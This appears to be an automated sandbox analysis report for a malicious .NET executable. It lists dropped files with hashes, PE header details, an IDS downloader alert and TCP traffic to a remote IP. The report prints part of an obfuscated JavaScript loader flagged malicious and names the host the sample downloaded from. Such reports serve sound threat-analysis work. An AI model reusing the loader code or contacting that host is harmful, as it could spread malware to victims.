SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ldbas25b.cop.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2ac3ub3.arh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qigqy2qy.2fs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rincivhc.ete.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvsy0o3t.usa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sasr3sd4.zg1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sydrbra3.2pd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ykqwjlwn.cow.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tempScript.js

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (2939), with no line terminators
Category:	dropped
Size (bytes):	2939
Entropy (8bit):	5.758262525296362
Encrypted:	false
SSDEEP:	48:yUUBn+XybkxTXOaV999stxe5fNY3hSGkRBKYNHPGSzEbCFCX7C8E3vNp:ZUB7oxTBj98xebY0GKHOSz9lxv7
MD5:	82F229D0C36B68073DA70EF5958E425D
SHA1:	2BEB8CD227B49B1D119165D6E3D258DDB730387A
SHA-256:	0F2579FDB9CBAAEC15015DF17DBAAFD73A9D7D3202321ABA6A1C8479CAC17394
SHA-512:	4553F11B61E2C1CB1EBF532E7417380A8A5C19121331B76894BF5D3605A905FA3F62B54D596A818709F28C49FD7EB1D880798907A84CAC45CCFF65EE93F9E970
Malicious:	true
Preview:	(function(){var tWr='',npj=760-749;function Msw(k){var a=834683;var d=k.length;var u=[];for(var i=0;i<d;i++){u[i]=k.charAt(i)};for(var i=0;i<d;i++){var z=a(i+449)+(a%24515);var s=a(i+729)+(a%12699);var f=z%d;var t=s%d;var y=u[f];u[f]=u[t];u[t]=y;a=(z+s)%3553729;};return u.join('')};var tey=Msw('numkfxtthdwaccosvejurglbotzoicpsnrrqy').substr(0,npj);var cRN='Am" to- pxv)ul=(6h8v.rl(rrgii]yhgar f7yrn+=r((=((u=rion)yy.-ni1,f.Cw7rh56).gd;t8e0(cr9p,== n=hi6y+(7-0=9=.87v8,.d9rro,,vlak)u)uhvi7,rkg9svny(r.t+c(l=n,t2Cr[=z=lrjy;t,iu)r.+7]68e lcn+.[[yte]n;bzv6he,eCueuj)+ 0;lrSagn8er;8t7encbm;;utotwj=9==n+)0;+tns(lsss smv-= h5v firtaidm ;..c1tt4y1 hl1q{fffu0vh]n+,(ivleaaig}r,ror(vir;;[1";(;h=.2; b;v;fa;)i.le-6tluse[e1;fc,]hasw;f{)d<a]; h)3caru.=tae)xru=pers;v= =xhhC=spt,;hc.g0n2j(h=+[;" ;l}ho}5l0[Atvaor.et;tyh]r2+ep;<s;;o,6ch=hg{{<xdmalarn=",+)+ez-ap=forepv(+=3s(),i=hartot=Aj2;r2.or*cntx01,}. a(+hbAi(;0n,ocp; rn)4nadu)l)[u1]g"=pb,{{paikfde3qrstd;(kqg,2gc{c.;tv= +rvagzno9=r()l} flw[=s(lar af=(rrw,

C:\Users\user\AppData\Roaming\CMD.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (361), with CRLF line terminators
Category:	dropped
Size (bytes):	28112
Entropy (8bit):	4.483630680408216
Encrypted:	false
SSDEEP:	192:eC8m1myC8m1myC8mYmyC8m3JmyC8mYmyC8m3JmyC8mgdmyC8m1myC8m1myC8m1mu:eIInGnGdIIInGnGB
MD5:	238EC4D17050E1841E8E0171407C2260
SHA1:	2C8C14B257641F1E1151C6303DABDE01621314F2
SHA-256:	163C4066DA47B2E8B7D3690A374C79856417DE2E09C74C0E7C807CD0B5C4B8FB
SHA-512:	3EAA1EBCA8B9AD021342846040FAF19C5EF420C319A9A649B31FFB9107B54D71F60F6E4372E0256F123B931F5C3DD11A34AD9C4CCB7D0A3C687A90BA50CD2102
Malicious:	true
Preview:	..' I reupload videos that have had several million views, but I have them gaining less than a thousand, what am I doing wrong? Why is this happening?..'Imagine if each reuploaded video gained the same number of views as the original and was uploaded until users simply get bored. In such a case TikTok would be overflowing with duplicates and traffers would be swimming in views. By the way, a couple years ago it was like that...'TikTok, as well as other platforms, is actively fighting plagiarism, improving its algorithms and training AI to prevent content re-posting, both from other platforms and within TikTok itself...'First of all, when a video is uploaded to TikTok, it is instantly processed by (AI) that identifies objects in the video, categorizes it and looks for violations. The video is then compressed, parameters and metadata are changed. If you download and upload that video again, TT immediately recognizes it and your chances of getting recommended go down to zero...'However

C:\Users\user\AppData\Roaming\LB31.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.880220641771827
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	51'200 bytes
MD5:	16b50170fda201194a611ca41219be7d
SHA1:	2ddda36084918cf436271451b49519a2843f403f
SHA256:	a542a2170abf4de0cd79baeb2e8f08deaf6fdeea40e9fc1ec15cbeb988e7900a
SHA512:	f07ed33310acc5008cda9dbf3c50e420ad3f76ed11b28b93b2bb32d47ddbb64c97b906babaf6edf2680bea5b6f7456c7986a8610cee30b867d3a07c4430f79e0
SSDEEP:	768:l5Fe4QnnpnQLtNvxrb0kk/6HpU6pqZ4sSbBLol:lDejnnpnQLPxAkk/OpA4TbBL6
TLSH:	C333C99C765072DFC86BC876DAA82C64EA60747B570F8303A05316EDAE0D99BCF151F2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............^.... ........@.. ....................... ............@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40dc5e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xAA2EC588 [Wed Jun 23 04:52:24 2060 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdc10	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x588	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbc64	0xbe00	862dbb150a852a760f5a65ffd303ebac	False	0.4962376644736842	data	5.926484210684564	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x588	0x600	6972f04b9c530c3157bf6abf0e0baddc	False	0.4140625	data	4.019075305608903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	6433e922a2fc14154ee14e0dfad993a2	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe0a0	0x2fc	data			0.43717277486910994
RT_MANIFEST	0xe39c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T13:49:11.657939+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49715	176.113.115.178	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 13:49:09.723465919 CET	49714	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.723608017 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.843175888 CET	80	49714	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:09.843203068 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:09.843297005 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.843306065 CET	49714	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.843672991 CET	49714	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.844029903 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:09.963293076 CET	80	49714	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:09.963882923 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.191220045 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.214792967 CET	80	49714	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.214809895 CET	80	49714	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.214910984 CET	49714	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.217369080 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.337843895 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.546051025 CET	49714	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.657851934 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.657890081 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.657912016 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.657923937 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.657939911 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.657938957 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.657979965 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.658018112 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.658030033 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.658042908 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.658086061 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.658086061 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.658282995 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.665781975 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.665864944 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.665918112 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.728137970 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.777731895 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.777777910 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.777837038 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.781932116 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.837496042 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.848982096 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.849011898 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.849663973 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.853106022 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.854557037 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.854599953 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.854605913 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.863250971 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.863368988 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.863401890 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.872881889 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.872906923 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.872940063 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.880460978 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.880525112 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.880575895 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:11.888197899 CET	80	49715	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:11.888401031 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:12.335719109 CET	49715	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:14.531455040 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:14.651305914 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:14.652266979 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:14.653872967 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:14.773408890 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.024590969 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.024643898 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.031613111 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.151331902 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.493833065 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.493858099 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.493870020 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.493935108 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.493962049 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.494033098 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494051933 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494062901 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494079113 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.494103909 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.494204998 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494218111 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494230032 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.494247913 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.494273901 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:16.502541065 CET	80	49726	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:16.502597094 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:18.216367006 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:18.336510897 CET	80	49739	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:18.336633921 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:18.337718010 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:18.457319975 CET	80	49739	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:19.582511902 CET	49726	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:19.683073044 CET	80	49739	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:19.728121996 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.144484997 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.144951105 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.266504049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:43.266520023 CET	80	49739	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:43.266659021 CET	49739	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.266742945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.266879082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:43.386428118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.598474026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.598702908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.598717928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.598809958 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:44.599601030 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.599654913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:44.599657059 CET	49822	80	192.168.2.6	176.113.115.178
